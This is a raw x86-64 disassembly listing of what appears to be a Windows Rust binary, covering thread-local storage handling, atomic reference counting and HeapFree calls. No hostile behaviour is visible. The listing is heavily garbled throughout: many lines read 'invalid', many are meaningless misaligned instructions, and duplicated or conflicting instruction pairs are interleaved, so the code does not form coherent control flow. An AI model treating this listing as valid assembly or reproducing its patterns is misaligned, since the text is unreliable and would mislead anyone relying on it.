shl rax, 1
test rax, rax
jne 0x14006e0aa
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x14006e098
mov rcx, rsi
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.14012bf20
test al, al
jne 0x14006e076
mov byte [r12 + 0x11], 1
jmp 0x14006e076
movzx eax, bpl
shl rax, 0x20
or rax, 3
jmp 0x14006e10f
mov rcx, rax
shr rcx, 0x20
mov byte [rdi], 4
mov dword [rdi + 8], eax
mov dword [rdi + 0xc], ecx
test bl, bl
je 0x14006e067
jmp 0x14006e076
adc byte [rdi], ah
inc rax
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
add byte [rax], al
mov edx, 8
call fcn.140122190
invalid
add byte [rax - 0x77], cl
jge 0x14007055d
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x18
add byte [rdx + 0x18], bh
call fcn.140122190
ud2
mov rcx, qword [rbp - 0x10]
call case.0x1400f0635.198
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
add eax, 0x12ed3a
mov edx, 0x28
xor ecx, ecx
call fcn.1400f8ae0
add byte [rax - 0x7b], cl
invalid
je case.0x1400578a9.67
add byte [rax - 0x7b], cl
sal byte [rsi + rcx*2 + 0x48], 0x89
invalid
mov rdi, rax
mov rax, qword [rsi + 0x20]
and byte [rax - 0x77], r9b
and byte [r15], r9b
adc byte [rsi], al
and byte [rax - 0x77], r9b
and byte [r15], r9b
adc byte [rsi], al
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rdi + 0x10], xmm1
adc byte [rdi], cl
adc dword [rdi], eax
adc byte [rdi], cl
adc dword [rdi], eax
movzx eax, byte [0x14019f308]
mov dh, 5
or ebp, ebp
adc al, byte [rax]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f8ae0
or byte [rax], al
or byte [rax], al
test rax, rax
je 0x14007063c
mov qword [rax], rdi
lea rcx, [0x140159370]
lea ecx, [0x140159370]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0xb
or dh, al
adc byte [rbx], cl
inc rax
inc eax
ror byte [rax - 0x7d], 0xc4
xor byte [rdi + 0x5e], bl
pop rdi
pop rsi
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov ecx, 8
mov edx, 0x28
call fcn.140122190
mov qword [rbp - 0x10], rdi
mov ecx, 8
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x18], bh
mov edx, 0x18
add al, ch
sbb ecx, dword [r11]
or eax, dword [rax]
ud2
invalid
invalid
call fcn.140122190
or eax, dword [rax]
ud2
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x56], dl
adc byte [rbp + 0x56], dl
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
lea rdx, [0x140159370]
lea edx, [0x140159370]
stc
mov word [rsi], cs
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp - 0x10]
call case.0x1400f0635.198
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
int3
int3
add cl, byte [rax - 0x75]
or byte [r8 - 0x7d], cl
clc
add dh, byte [rbp + riz + 0x48]
add ecx, 0x10
invalid
mov eax, dword [rcx + 8]
cmp rax, 2
je 0x1400706c3
add rcx, 0x10
adc byte [rax - 0x7b], cl
test rax, rax
je case.0x14006b64f.26
sal byte [rsi + rcx + 0x48], 0x8b
add eax, esi
dec qword [rax]
invalid
mov rax, qword [rcx]
lock dec qword [rax]
invalid
or byte [rbp + 0x13], dh
jne 0x1400706c3
jmp fcn.1400caa30
mov rax, qword [rcx]
lock dec qword [rax]
invalid
or byte [rbp + 5], dh
jne 0x1400706c3
jmp fcn.14002ded0
ret
int3
mov rax, qword [rcx]
movzx eax, byte [rax]
shl eax, 3
lea rcx, [0x140191348]
mov r8, qword [rax + rcx]
lea rcx, [0x140191360]
mov rax, qword [rax + rcx]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
jmp r9
jmp rcx
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
invalid
jmp rcx
int3
adc byte [rax - 0x7d], cl
clc
invalid
add al, 0x82
clc
add dword [rbx + rsi + 0x48], esi
test eax, eax
sub byte [rax - 0x75], cl
adc byte [rbx + rcx*4 + 0x41], cl
xor byte [rax - 0x7d], cl
sar dword [rax], 0x48
jmp rax
mov dword [rcx + 0x11c], esi
mov dword [rcx + 0x120], edi
cmp qword [rcx + 0xd8], 0
jne 0x140079289
mov ecx, dword [0x14019f30c]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov qword [rcx + 0xd8], 0xffffffffffffffff
movzx r9d, byte [rbp + 0x890]
mov ecx, 1
add byte [rax], al
add byte [rax], al
mov r8d, 1
lock xadd qword [rbx], r8
test r9b, 1
rol dword [rcx], 0x74
invalid
rol dword [rcx], 0x74
or cl, byte [rbp - 0x7b]
sar byte [rcx + 0x10], 0xe9
cdq
adc al, byte [rax]
add byte [rbp - 0x7b], cl
test eax, eax
js 0x1400791e2
xor ecx, ecx
test r8, r8
jns 0x140077f54
jmp 0x1400791e2
test r8, r8
test eax, eax
js 0x1400791e2
xor ecx, ecx
mov r8d, dword [0x14019f30c]
mov r9, qword gs:[0x58]
mov r10, qword [r9 + r8*8]
mov edx, dword [rcx + rax*8]
mov edx, dword [rcx + rax*8]
mov r8, qword [r10 + 0xe0]
mov r9, qword [r10 + 0xe8]
add byte [rax], al
add byte [rax], al
mov qword [r10 + 0xe0], rcx
mov qword [r10 + 0xe8], rbx
inc qword [r10 + 0xd8]
mov rcx, qword [r10 + 0xf0]
mov ecx, dword [rdx + 0xf0]
mov ecx, dword [rdx + 0xf0]
cmp rcx, 0xffffffffffffffff
je 0x140079370
dec dword [rdi]
test ah, dl
adc eax, dword [rax]
add byte [rax - 1], cl
rol dword [rbx + rcx*4 + 0x15], 0x66
jae 0x140077fb7
inc rcx
mov r10d, dword [0x14019f30c]
add byte [rbp + 0x4c], ah
mov ebx, dword [0x58]
add byte [rbp + 0x4c], ah
mov ebx, dword [0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xf0], rcx
mov qword [rbp + 0x8b8], r8
mov qword [rbp + 0x8c0], r9
ror dword [rcx - 0x77], cl
mov dh, al
add byte [rax], al
add byte [rcx + rcx*4 - 0x7b], cl
mov eax, 0x4c000008
mov dword [rbp + 0x8c0], ecx
mov qword [rbp + 0x8c8], rcx
mov dword [rbp + 0x8d0], eax
mov dword [rbp + 0x8d4], edx
cmp dword [rbp + 0x890], 1
je 0x1400793b1
xor r12d, r12d
xorps xmm6, xmm6
lea r14, [rbp + 0x640]
lea rdi, [rbp + 0x3a0]
lea rbx, [rbp + 0x8d8]
nop word cs:[rax + rax]
xor eax, eax
xchg qword [rbp + 0x888], rax
test rax, rax
jne 0x14007846a
mov qword [rbp + 0x180], 2
mov rax, qword [rbp + 0x868]
shr rax, 2
lea rdx, [rbp + 0x668]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
lea rcx, [rbp + 0x868]
mov qword [rbp + 0x640], rcx
mov qword [rbp + 0x648], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rbp + 0x819]
mov ecx, dword [rbp + 0x81c]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
cmp rax, 1
jne 0x140078457
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
lock inc qword [rax]
jle 0x1400791e2
add rax, 0x10
lea rcx, fcn.1400fce60
mov qword [rbp + 0x850], rcx
mov qword [rbp + 0x858], rax
lea rax, [rbp + 0x850]
mov qword [rbp + 0x8d8], rax
mov qword [rbp + 0x8e0], rax
mov qword [rbp + 0x8e8], 0
jmp 0x14007810d
mov al, 1
lock cmpxchg byte [rsi], r12b
jne 0x1400783e5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x128]
cmp r13d, 2
je 0x140078240
cmp r13d, 1
je 0x14007820b
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x1400794f9
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov qword [rcx + 0x58], 0xffffffffffffffff
mov rax, qword [0x14012f690]
mov rsi, qword [rcx + 0x70]
mov rax, 0xffffffffffffffff
cmp rsi, qword [rcx + 0x60]
jne 0x1400781b8
call fcn.1400ed6c0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x58]
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rdx, qword [rcx + 0x68]
mov r8, rsi
shl r8, 4
lea r9, [rcx + 0xd8]
mov qword [rdx + r8], r9
lea r9, [0x140070690]
mov qword [rdx + r8 + 8], r9
inc rsi
mov qword [rcx + 0x70], rsi
inc rax
mov qword [rcx + 0x58], rax
mov byte [rcx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x124]
movzx r15d, byte [rax + 0x125]
mov word [rax + 0x124], 0x8001
jmp 0x140078240
mov rdx, qword [rbp + 0x8d8]
mov rcx, r14
call fcn.1401065c0
test al, al
je 0x140078270
mov rcx, rdi
mov rdx, rbx
call fcn.1400c9120
mov esi, eax
inc sil
cmp r13b, 2
jne 0x14007827c
jmp 0x140078301
xor esi, esi
cmp r13b, 2
je 0x140078301
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x12708a05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140078301
cmp eax, 1
je 0x1400782e0
mov r14, rdi
mov rdi, rbx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
add dh, al
sub dword [rax], 1
add byte [rax], al
add dword [rax - 0x77], ecx
sti
add dh, al
sub dword [rax], 1
add byte [rax], al
add dword [rax - 0x77], ecx
sti
mov rdi, r14
lea r14, [rbp + 0x640]
lea esi, [rbp + 0x640]
lea esi, [rbp + 0x640]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], r13b
test al, 0x24
add dword [rax], eax
add byte [rax + rcx*4 - 0x48], al
invalid
add dword [rax], eax
invalid
test al, 0x24
add dword [rax], eax
add byte [rax + rcx*4 - 0x48], al
and eax, 0x40000001
cmp dh, 2
invalid
cmp sil, 2
add cl, byte [rdi]
test ebp, esi
add byte [rax], al
add byte [rbx + 0x126ffb05], cl
sti
outsd dx, dword [rsi]
adc al, byte [rax]
mov rcx, qword gs:[0x58]
jne 0x140078400
mov eax, dword [0x14019f30c]
sti
outsd dx, dword [rsi]
adc al, byte [rax]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
mov rax, qword [rax + 0xc8]
cmp rax, 1
jne 0x1400783a3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov r15, qword [rax + 0xd0]
add byte [rax], al
add byte [rax + 2], bh
add byte [rax], al
add byte [rax + 2], bh
lock cmpxchg qword [r15 + 0x10], r12
je 0x14007810d
lea rsi, [r15 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x20], cl
jne 0x1400783b6
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r15 + 0x10], rcx
jne 0x1400783d0
lea r13, [r15 + 0x18]
nop dword [rax]
mov rcx, r13
mov rdx, rsi
mov r9d, 0x3b9aca00
call fcn.1400429b0
mov eax, 2
lock cmpxchg qword [r15 + 0x10], r12
jne 0x140078380
jmp 0x140078100
test rax, rax
jne 0x140079138
call fcn.14012ce50
jmp 0x14007832b
mov rcx, rsi
call fcn.1401262a0
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r15 + 0x10], rcx
je 0x140078375
nop dword [rax]
cmp rax, 2
jne 0x14007916f
xor eax, eax
xchg qword [r15 + 0x10], rax
jmp 0x140078100
mov rcx, rsi
call fcn.140126720
jmp 0x14007810d
mov rax, qword [rbp + 0x850]
mov rcx, qword [rbp + 0x858]
call qword [rax + 0x18]
mov rcx, r14
call fcn.140106aa0
mov rax, qword [rbp + 0x660]
test sil, 1
jne 0x1400785f0
test rax, rax
je 0x140078439
mov rcx, qword [rbp + 0x668]
call qword [rax + 0x18]
cmp dword [rbp + 0x180], 2
je 0x140078010
lea rcx, [rbp + 0x180]
call fcn.1400a8560
jmp 0x140078010
test rax, rax
jne 0x140079220
call fcn.14012ce50
jmp 0x14007809d
mov rcx, qword [rbp + 0x898]
lock inc qword [rcx]
jle 0x1400791e2
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], rcx
mov qword [rbp + 0x190], 0
mov qword [rbp + 0x198], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x1a0]
movups xmmword [rax], xmm0
mov qword [rbp + 0x1b0], 8
mov qword [rbp + 0x1b8], 0
lea r9, [rbp + 0x868]
mov qword [rbp + 0x1c0], r9
mov rax, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x190]
mov r8, qword [rbp + 0x198]
movups xmm1, xmmword [rbp + 0x1a0]
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x648], rcx
mov qword [rbp + 0x680], r9
mov qword [rbp + 0x650], rdx
mov qword [rbp + 0x658], r8
movaps xmmword [rbp + 0x660], xmm1
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x678], rax
cmp dword [rbp + 0x640], 1
je 0x140079426
cmp qword [rbp + 0x650], 0
jne 0x140079464
mov qword [rbp + 0x650], 0xffffffffffffffff
mov r13, qword [rbp + 0x658]
mov qword [rbp + 0x658], 0
test r13, r13
je 0x140079470
mov qword [rbp + 0x650], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14007861d
cmp eax, 1
je 0x14007864a
lea rcx, [r13 + 0x40]
call fcn.1400e0790
cmp qword [r13 + 0x40], 0
je 0x1400785cf
mov r8, qword [r13 + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [r13], 2
je 0x1400785de
mov rcx, r13
call fcn.1400cad40
mov edx, 8
mov rcx, r13
call fcn.1400067b0
jmp 0x140078dd6
test rax, rax
je 0x1400785ff
mov rcx, qword [rbp + 0x668]
call qword [rax + 0x18]
cmp dword [rbp + 0x180], 2
je 0x140078dab
lea rcx, [rbp + 0x180]
call fcn.1400a8560
jmp 0x140078dab
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x140070690]
call fcn.1400ed020
mov byte [rsi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x110]
mov qword [rbp + 0x8b0], rcx
mov qword [rax + 0x110], r14
mov rax, qword [rbp + 0x648]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x140168938]
mov qword [rbp + 0x8d8], rdx
mov qword [rbp + 0x8e0], rcx
mov qword [rbp + 0x290], rbx
mov qword [rbp + 0x298], rbx
mov qword [rbp + 0x2a0], 0
lea rbx, [0x140100f70]
lea r14, [0x140070690]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x1400788a2
cmp qword [rbp + 0x650], 0
jne 0x140079208
mov qword [rbp + 0x650], 0xffffffffffffffff
mov rsi, qword [rbp + 0x658]
test rsi, rsi
je 0x140078744
lea rcx, [rsi + 0x40]
call fcn.1400e0790
cmp qword [rsi + 0x40], 0
je 0x14007871c
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
cmp dword [rsi], 2
je 0x140078729
mov rcx, rsi
call fcn.1400cad40
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call r12
mov rax, qword [rbp + 0x650]
inc rax
jmp 0x140078746
xor eax, eax
mov qword [rbp + 0x658], r13
mov qword [rbp + 0x650], rax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14007878f
cmp eax, 1
je 0x1400787b8
lea rcx, [rbp + 0x3a0]
lea rdx, [rbp + 0x290]
call fcn.1400c9120
jmp 0x14007885b
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
mov rdx, r14
call fcn.1400ed020
mov byte [rsi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
movzx esi, byte [r15 + 0x124]
movzx edi, byte [r15 + 0x125]
mov word [r15 + 0x124], 0x8001
lea rcx, [rbp + 0x3a0]
lea rdx, [rbp + 0x290]
call fcn.1400c9120
movzx ecx, byte [r15 + 0x128]
cmp ecx, 2
je 0x14007885b
cmp ecx, 1
je 0x14007883a
mov r15d, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd8]
mov rdx, rbx
call fcn.1400ed020
mov byte [r13 + 0x128], 1
mov eax, r15d
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x124], sil
mov byte [rcx + 0x125], dil
cmp qword [rbp + 0x650], 0
jne 0x140079214
mov qword [rbp + 0x650], 0xffffffffffffffff
mov r13, qword [rbp + 0x658]
mov qword [rbp + 0x658], 0
test r13, r13
je 0x1400791f0
mov qword [rbp + 0x650], 0
test al, al
je 0x140078bf9
mov r8, qword [rbp + 0x648]
mov edi, dword [r8 + 0x40]
test edi, edi
je 0x140078abb
nop word cs:[rax + rax]
cmp byte [r13 + 0x68], 0
jne 0x140078b2a
inc dword [r13 + 0x60]
mov rdx, qword [rbp + 0x648]
add rdx, 0x10
mov rcx, r13
call fcn.1400fd8c0
test rax, rax
je 0x140078aed
cmp qword [rbp + 0x650], 0
jne 0x140079208
mov rsi, rax
mov qword [rbp + 0x650], 0xffffffffffffffff
mov r15, qword [rbp + 0x658]
test r15, r15
je 0x140078960
lea rcx, [r15 + 0x40]
call fcn.1400e0790
cmp qword [r15 + 0x40], 0
je 0x140078933
mov r8, qword [r15 + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
cmp dword [r15], 2
je 0x140078941
mov rcx, r15
call fcn.1400cad40
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
call r12
mov rax, qword [rbp + 0x650]
inc rax
jmp 0x140078962
xor eax, eax
mov qword [rbp + 0x658], r13
mov qword [rbp + 0x650], rax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r15d, byte [rax + 0x128]
cmp r15d, 2
je 0x1400789f0
cmp r15d, 1
je 0x1400789c1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd8]
mov rdx, r14
call fcn.1400ed020
mov byte [r15 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r15d, byte [rax + 0x124]
movzx r13d, byte [rax + 0x125]
mov word [rax + 0x124], 0x8001
jmp 0x1400789f0
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax]
cmp r15b, 2
je 0x140078a6d
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140078a6d
cmp eax, 1
je 0x140078a4c
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
mov rdx, rbx
call fcn.1400ed020
mov byte [rsi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], r15b
mov byte [rax + 0x125], r13b
cmp qword [rbp + 0x650], 0
jne 0x140079214
mov qword [rbp + 0x650], 0xffffffffffffffff
mov r13, qword [rbp + 0x658]
mov qword [rbp + 0x658], 0
test r13, r13
je 0x1400791f0
mov qword [rbp + 0x650], 0
dec edi
jne 0x1400788c0
mov r8, qword [rbp + 0x648]
add r8, 0x10
lea rcx, [rbp + 0x648]
mov rdx, r13
call fcn.1400fe000
mov r13, rax
mov rax, qword [rbp + 0x648]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x1400786d7
jmp 0x1400788a2
movabs rax, 0x7fffffffffffffff
cmp qword [rbp + 0x660], rax
jae 0x1400794d5
mov r8, qword [rbp + 0x648]
add r8, 0x10
cmp qword [rbp + 0x678], 0
jne 0x140078abf
lea rcx, [rbp + 0x648]
mov rdx, r13
call fcn.1400fdac0
jmp 0x140078ace
cmp qword [rbp + 0x650], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x8b0]
mov qword [rax + 0x110], rcx
jne 0x1400794c9
xor ebx, ebx
mov qword [rbp + 0x650], 0xffffffffffffffff
mov rsi, qword [rbp + 0x658]
test rsi, rsi
je 0x140078c37
lea rcx, [rsi + 0x40]
call fcn.1400e0790
cmp qword [rsi + 0x40], 0
je 0x140078b99
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsi], 2
je 0x140078ba6
mov rcx, rsi
call fcn.1400cad40
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x650]
inc rax
jmp 0x140078c39
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x8b0]
mov qword [rax + 0x110], rcx
mov bl, 1
mov qword [rbp + 0x650], 0xffffffffffffffff
mov rsi, qword [rbp + 0x658]
test rsi, rsi
jne 0x140078b76
xor eax, eax
mov qword [rbp + 0x658], r13
mov qword [rbp + 0x650], rax
lea rcx, [rbp + 0x640]
call fcn.1400fd3e0
test byte [rbp + 0x640], 1
je 0x140078cf0
mov rax, qword [rbp + 0x648]
lock dec qword [rax]
jne 0x140078c79
lea rcx, [rbp + 0x648]
call fcn.1400cb540
mov rdi, qword [rbp + 0x658]
test rdi, rdi
je 0x140078d57
mov rcx, qword [rdi]
test rcx, rcx
je 0x140078cb8
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400794e1
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140078cb8
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rsi, [rdi + 0x18]
mov rcx, rsi
call fcn.1400a7290
mov rax, qword [rdi + 0x18]
lock dec qword [rax]
jne 0x140078cd6
mov rcx, rsi
call fcn.14002ddf0
mov rax, qword [rdi + 8]
test rax, rax
je 0x140078d45
lock dec qword [rax]
jne 0x140078d45
lea rcx, [rdi + 8]
call fcn.1400cabd0
jmp 0x140078d45
mov rax, qword [rbp + 0x648]
lock dec qword [rax]
jne 0x140078d09
lea rcx, [rbp + 0x648]
call fcn.14002ded0
mov rdi, qword [rbp + 0x658]
test rdi, rdi
je 0x140078d57
lea rcx, [rdi + 0x40]
call fcn.1400e0790
cmp qword [rdi + 0x40], 0
je 0x140078d38
mov r8, qword [rdi + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rdi], 2
je 0x140078d45
mov rcx, rdi
call fcn.1400cad40
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x678]
test rsi, rsi
je 0x140078d83
mov rdi, qword [rbp + 0x670]
add rdi, 8
nop
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + 0x18]
add rdi, 0x10
dec rsi
jne 0x140078d70
cmp qword [rbp + 0x668], 0
je 0x140078da3
mov r8, qword [rbp + 0x670]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
je 0x140079488
movsd xmm6, qword [rbp + 0x8d0]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x140078e01
cmp eax, 1
je 0x140078e2e
lea rax, [0x1401687f8]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_std_src_threadlocal.rs
lea r9, [0x140168660]
lea r8, [rbp + 0x900]
mov edx, 0x46
call fcn.140122900
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rsi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x126], 2
je 0x140079295
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x126], 2
cmp dword [rax + 0x118], 0
jne 0x140078e76
call fcn.1400ff510
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x118], 1
movlps qword [rax + 0x11c], xmm6
lea rcx, [rbp + 0x8b8]
call fcn.1401015c0
mov rax, qword [rbp + 0x8b8]
cmp rax, 2
je 0x140078eec
test rax, rax
je 0x140078ed3
mov rax, qword [rbp + 0x8c0]
lock dec qword [rax]
jne 0x140078eec
lea rcx, [rbp + 0x8c0]
call fcn.1400caa30
jmp 0x140078eec
mov rax, qword [rbp + 0x8c0]
lock dec qword [rax]
jne 0x140078eec
lea rcx, [rbp + 0x8c0]
call fcn.14002ded0
lea rcx, [rbp + 0x3a0]
call fcn.1400ccd60
lea rcx, [rbp + 0x820]
call fcn.1401015c0
mov rax, qword [rbp + 0x820]
cmp rax, 2
je 0x140078f43
lea rcx, [rbp + 0x828]
test rax, rax
je 0x140078f31
mov rax, qword [rbp + 0x828]
lock dec qword [rax]
jne 0x140078f43
call fcn.1400caa30
jmp 0x140078f43
mov rax, qword [rbp + 0x828]
lock dec qword [rax]
jne 0x140078f43
call fcn.14002ded0
movups xmm0, xmmword [rbp + 0x8a0]
movaps xmmword [rbp + 0x3e0], xmm0
movups xmm0, xmmword [rbp + 0x860]
movups xmm1, xmmword [rbp + 0x870]
movups xmm2, xmmword [rbp + 0x880]
movups xmm3, xmmword [rbp + 0x890]
movaps xmmword [rbp + 0x3d0], xmm3
movaps xmmword [rbp + 0x3c0], xmm2
movaps xmmword [rbp + 0x3b0], xmm1
movaps xmmword [rbp + 0x3a0], xmm0
lea rcx, [rbp + 0x3a0]
call fcn.14010ef70
test byte [rbp + 0x3a0], 1
jne 0x140078fee
xor esi, esi
xchg qword [rbp + 0x3c8], rsi
test rsi, rsi
je 0x140078fee
lea rcx, [rsi + 0x40]
call fcn.1400e0790
cmp qword [rsi + 0x40], 0
je 0x140078fcf
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
cmp rax, 2
jne 0x1400790bb
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x3d8]
test byte [rbp + 0x3d0], 1
je 0x140079012
mov rax, qword [rbp + 0x3d8]
lock dec qword [rax]
jne 0x140079024
call fcn.1400caa30
jmp 0x140079024
mov rax, qword [rbp + 0x3d8]
lock dec qword [rax]
